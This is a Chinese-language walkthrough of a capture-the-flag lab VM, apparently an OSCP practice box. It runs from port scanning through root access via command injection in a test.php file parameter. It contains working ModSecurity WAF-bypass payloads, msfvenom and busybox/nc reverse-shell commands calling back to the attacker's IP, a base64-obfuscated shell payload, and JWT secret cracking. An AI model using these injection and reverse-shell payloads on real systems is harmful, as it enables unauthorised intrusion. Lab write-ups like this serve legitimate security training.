十七Seven
- 关注
简介
该项目是8BitSec作者精心制作的环境,这是一个基于 Ubuntu 的虚拟机,并且已经使用 VirtualBox 进行了测试,要使用vb环境来搭建,而且由于作者将底层的网卡信息写死,只能使用桥接网卡的WiFi网卡来连接,连接之后会出现ip地址信息。目标是获取获得root权限并找到flag.txt文本信息,该项目作为OSCP考试培训必打的一个项目环境,该作者评定该环境为渗透中级水准难度。接下来不管是零基础学习渗透者,还是有些基础的渗透者,甚至是高水平的渗透人员读该的技巧和文章都能学习到一些红队知识。
该项目有始有终会用到 信息收集 -> WEB信息枚举 -> 绕过WAF -> 内网信息收集 -> 提权,最终拿到flag.txt的过程,那么在五大模块中用到了一些小技巧都会在文章中演示出来,希望大家能动手也来和我一起学习渗透。
请注意:
本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。
一、信息收集
信息收集非常重要,有了信息才能知道下一步该如何进行,接下来将用nmap来演示信息收集:
1、靶机网卡设置
开启靶机,网络选择桥接模式:
获取靶机IP:192.168.4.168
本机kali为192.168.4.139
2、nmap端口服务枚举
进行namp端口服务枚举:
nmap 192.168.4.168
只开启80web页面!
80/tcp open http
二、web信息枚举
1、web页面信息枚举
访问web页面:
http://192.168.4.168/
发现这是apache服务页面!
2、dirb目录爆破
用dirb基于字典对web目录进行爆破:
dirb http://192.168.4.168
发现大批量状态码报403,说明前端是存在安全防护机制的,可能存在WAF或防御脚本
筛选可访问的页面:
dirb http://192.168.4.168/ | grep 200
只有一个index.html返回的是200,访问发现就是刚才的主页,加大爆破力度!
使用dirb扫描的-X参数,提取特定扩展名的目录。此参数接受文件扩展名,然后在目标服务器或计算机上搜索给定的扩展名文件。
扫描下含有.PHP参数文件目录:
dirb http://192.168.4.168/ -X .php -X .php 枚举.PHP文件
发下存在test.php!
+ http://192.168.4.168/test.php (CODE:200|SIZE:1986)
访问test.php目录地址:
http://192.168.4.168/test.php
提示:Read last visitor data 读取上次访问者数据
提示存在信息泄露!
点击提示后弹出:
http://192.168.4.168/test.php?file=last.html
回显地址: 一般情况下?file= 存在文件包含、sql注入。
尝试对URL进行构造:
http://192.168.4.168/test.php?file=../../../../../etc/passwd
报错403,结合前面爆破是大部分回显均为403,猜测是存在WAF,尝试命令注入。
三、绕过waf(多方法)
1、识别waf
WAFw00f是Python脚本,用于检测网络服务器是否处于网络应用的防火墙(WAF ,Web application firewall)保护状态。
WAFW00F进行探测 :
wafw00f http://192.168.4.168/test.php
回显存在WAF,但报错了,在老版本的wafw00f回显Web 应用程序防火墙:modsecurity (OWASP CRS)
ModSecurity waf!
ModSecurity是一个入侵探测与阻止的引擎,它主要是用于Web应用程序所以也可以叫做Web应用程序防火墙。它可以作为Apache Web服务器的一个模块或单独的应用程序来运行。ModSecurity的目的是为增强Web应用程序的安全性和保护Web应用程序避免遭受来自已知与未知的攻击。
绕过CRS:规则机制
1、可以安装在服务器
2、可以安装某个站目录底下
3、可以安装在PHP文件内
2、Fuzz模糊测试
Wfuzz是一款为了评估WEB应用而生的Fuzz(Fuzz是爆破的一种手段)工具,它基于一个简单的理念,即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值,针对不同的WEB应用组件进行多种复杂的爆破攻击。比如:参数、认证、表单、目录/文件、头部等等,这款工具在kali里面自带。
Wfuzz工具模糊测试:
wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt http://192.168.4.168/test.php?file=FUZZ file 文件 -c 输出颜色 -z payload
回显信息太多,过滤掉报错重新测试下:
wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt --hc 404,403 http://192.168.4.168/test.php?file=FUZZ --hc 过滤隐藏响应码为404,403的返回结果。
剩下的就都是响应值为200的,此时就可以使用命令测试绕过waf。
3、绕过waf(|)
测试dir可绕过机制:
wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt --hc 403 http://192.168.4.168/test.php?file=FUZZ | grep dir
回显“|”可绕过
用“|”测试执行命令:
http://192.168.4.168/test.php?file=|dir
看到 | 绕过waf,可以远程代码执行命令dir
4、绕过waf($u)
$绕过WAF,这种方式只是针对ModSecurity waf, 使用u来绕过waf ,u 然后执行命令, $u被视为空字符串。
首先我们使用msf生成一个shell:
msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.40.139 lport=4455 -f elf > shell cat shell
用python开启一个http服务:
python -m SimpleHTTPServer 8081
网页上传shell,并赋权
上传shell木马: http://192.168.4.168/test.php?file=test; $u wget http://192.168.4.139:8081/shell -o /tmp/shell 查看是否上传成功: http://192.168.4.168/test.php?file=test; $u ls -la /tmp/shell 权限低,赋权: http://192.168.4.168/test.php?file=test; $u chmod 777 /tmp/shell
上传并赋权成功!
用nc监听4455端口,执行shell反弹
nc -vlp 4455 http://192.168.4.168/test.php?file=test; $u /tmp/shell
未反弹成功!发现上传的shell字符大于本地生成的,待解决!
5、绕过waf(;)
分号“;” 隔离绕过waf!
以文件形式去读的时候,加;就可以绕过
http://192.168.4.168/test.php?file=last.html;id
可以绕过!
因为PHP底下是有过滤器的,因为有过滤器才导致有文件包含,我们用过滤器读取了文件包含下的一个文件。
查询下过滤器信息:
http://192.168.4.168/test.php?file=--version
看到了过滤器信息是用cat过滤的, 可以一个文件开头读取信息,然后再绕过,可以用任意文件名 ; 可绕过
但是目前的两种绕过方式都只能执行部分命令,如果命令后面需要跟参数,就不行了。
测试下使用二进制绕过,可以在不受限制和不同的二进制文件中执行命令来绕过本地安全限制!
二进制文件的列表:
https://gtfobins.github.io/
最终发现:https://gtfobins.github.io/gtfobins/busybox/可以绕过waf
所以根据二进制绕过waf,就可以反弹shell到本地上。
利用二进制busybox反弹shell:
http://192.168.4.168/test.php?file=test;busybox nc 192.168.4.139 6666 -e sh
搜索发现没有安装python,但是安装了python3,通过python3获取稳定的shell,前提是bash模式
which python3 python3 -c 'import pty; pty.spawn("/bin/bash")' ctrl + z stty raw -echo fg
或者添加参数 -i 就可以直接获得正常稳定shell!
http://192.168.3.88/test.php?file=dayu;busybox nc 192.168.3.86 6666 -e sh -i
6、绕过waf(& )
使用& 来绕过waf,用url编码混淆来绕过waf。
&会过滤掉前面的命令,直接执行后面的命令。
尝试用“&” 绕过:
http://192.168.4.168/test.php?file=&id
不行!将&的URL编码为%26 ,尝试执行命令:
http://192.168.4.168/test.php?file=%26id
可以绕过WAF,远程执行命令
接下来混淆加密绕过反弹shell,使用base64加密混淆。
base64进行编译:
echo "nc -e /bin/sh 192.168.4.139 5566 " | base64
base64加密完会包含=,=被waf加入黑名单了,等号和你加密时的空格有关,可以在末尾添加空格,加密后等号就会去掉,如图下中的尝试。
末尾加空格绕过:
echo "nc -e /bin/sh 192.168.139 5566 " | base64
base64编码:bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjQuMTM5IDU1NjYgICAK
尝试执行访问:
http://192.168.4.168/test.php?file=26%/bin/echo bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjEzOSA1NTY2ICAK|/usr/bin/base64 -d|/bin/sh
访问报错!
继续尝试绕过,加?号,?问号在linux中以命令使用着,例如:/bin/echo可以通过替换一些字母来调用,/bin/ech?,仍然会执行相同的命令!
加?号执行(?号只能替换一个英文字符):
http://192.168.4.168/tst.php?file=%26/bin/ech? bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjEzOSA1NTY2ICAK|/u?r/b?n/b?se64 -d|/bin/?h26%/bin/ech? bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjEzOSA1NTY2ICAK=|/u?r/bin/b?se64 -d|/bin/?h
还是不起作用!继续混淆:在空格处编译为base64:%20
http://192.168.4.168/test.php?file=%26/bin/ech?%20bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjQuMTM5IDU1NjYgICAK|/u?r/b?n/b?se64 -d|/bin/?h
反弹shell成功!
四、内部信息收集
1、linpeas.sh信息枚举
本地用python开启http服务:
python -m SimpleHTTPServer 8081
上传linpeas.sh脚本并赋权执行:
wget http://192.168.4.139:8081/linpeas.sh chmod +x linpeas.sh ./linpeas.sh
发现版本信息:
Linux version 4.13.0-39-generic Sudo version 1.8.20p2
内核漏洞可用45010.c ,但只能root权限使用gcc
发现新用户:
uid=1000(bob) gid=1000(bob) groups=1000(bob),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare)
有sudo权限,可以找到bob的密码,用sudo 提权,这里可以通过找寻密码或者是 制作密钥来直接ssh登录。但是这里发现不能创建文件。
2、隐藏文件下载
在 /home/bob/ 目录下找到一个隐藏文件:
/home/bob/.pw
来到目录下查看文件信息:
cd /home/bob ls -la cat ._pw_
PW内容:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pn55j1CFpcLjvReaqyJr0BPEMYUsBdoDxEPo6Ft9cwg
怀疑是个密匙!
通过python3,将.pw文件下载:
靶机开启http服务:
python3 -m http.server 8089
本地下载并更名
wget http://192.168.4.168:8089/._pw_ mv ._pw_ pw #.开头的文件是隐藏文件,目录里看不到,所以改下名字
五、提权
1、JWT令牌分析
pw文件怀疑是一个密码base64解码看看
1)base64解码:
cat pw | base64 -d
第一部分枚举到信息是hs256、JWT?发现内容包含“.”点不是有效的base64字符
{"alg":"HS256","typ":"JWT"}base64: 输入无效
将第一个点号过滤,查看后面的信息:
cat pw | cut -d "." -f 2 | base64 -d
发现第二部分是1~0,人名,还是未解析完!
{"sub":"1234567890","name":"John Doe","iat":1516239022}base64: 输入无效
过滤第二个点号,查看后面的信息:
cat pw | cut -d "." -f 3 | base64 -d
发现第三部分是二进制!
�~y�P������"k��1�,��C��[}base64: 输入无效
2)JWT
将pw内容丢入谷歌,发现这是JWT(JSON Web 令牌),和第一部分验证的JWT一致。
JWT是一个开放的行业标准(RFC 7519),它定义了一种简介的、自包含的协议格式,用于在通信双方传递json对象,传递的信息经过数字签名可以被验证和信任。JWT可以使用HMAC算法或使用RSA的公 钥/私钥对来签名,防止被篡改。
也可以在线查看密匙信息:
JWT 具有这种格式的三个部分:
标头(Header)、有效载荷(Payload)和签名(Signature)。在传输的时候,会将JWT的3部分分别进行Base64编码后用.进行连接形成最终传输的字符串
- header在 JSON 中指定算法和类型。
- payload指定令牌的声明,也在 JSON 中。
- signature是编码头和有效载荷的数字签名。
接下来我们要去对其密匙进行解密,解密方法有:
- 可以使用解密工具c-jwt-cracker.git和wt-cracker
- 在线解密https://jwt.io/#debugger
2、c-jwt-cracker工具解密
使用解密工具开始破解
下载c-jwt-cracker.git并编译为gcc利用:
proxychains git clone https://github.com/brendan-rius/c-jwt-cracker.git 或者用:https://github.com/lmammino/jwt-cracker cd jwt-cracker apt-get install libssl-dev make #编译gcc
执行jwtcrack解密:
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pn55j1CFpcLjvReaqyJr0BPEMYUsBdoDxEPo6Ft9cwg
获得root密码:mlnV1
Secret is "mlnV1"
登录root:
su root mlnV1
获得root权限用户!
获得flag:root目录下存在flag.txt
cd root cat flag.txt
flag{c89031ac1b40954bb9a0589adcb6d174}
六、总结
通过以上的学习,我们认知了一些红队的小技巧的技术手段,完成了从信息收集到内核提权项目落地,学习到了非常多的技巧,例如 nmap端口信息枚举、Web页面信息枚举、dirb目录爆破、多方法绕过WAF、linpeas.sh信息枚举、JWT令牌分析、c-jwt-cracker工具解密等,希望伙伴们能实际操作复现一遍!来巩固自身的渗透技术和技巧!
希望大家提高安全意识,没有网络安全就没有国家安全!
作者:十七
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)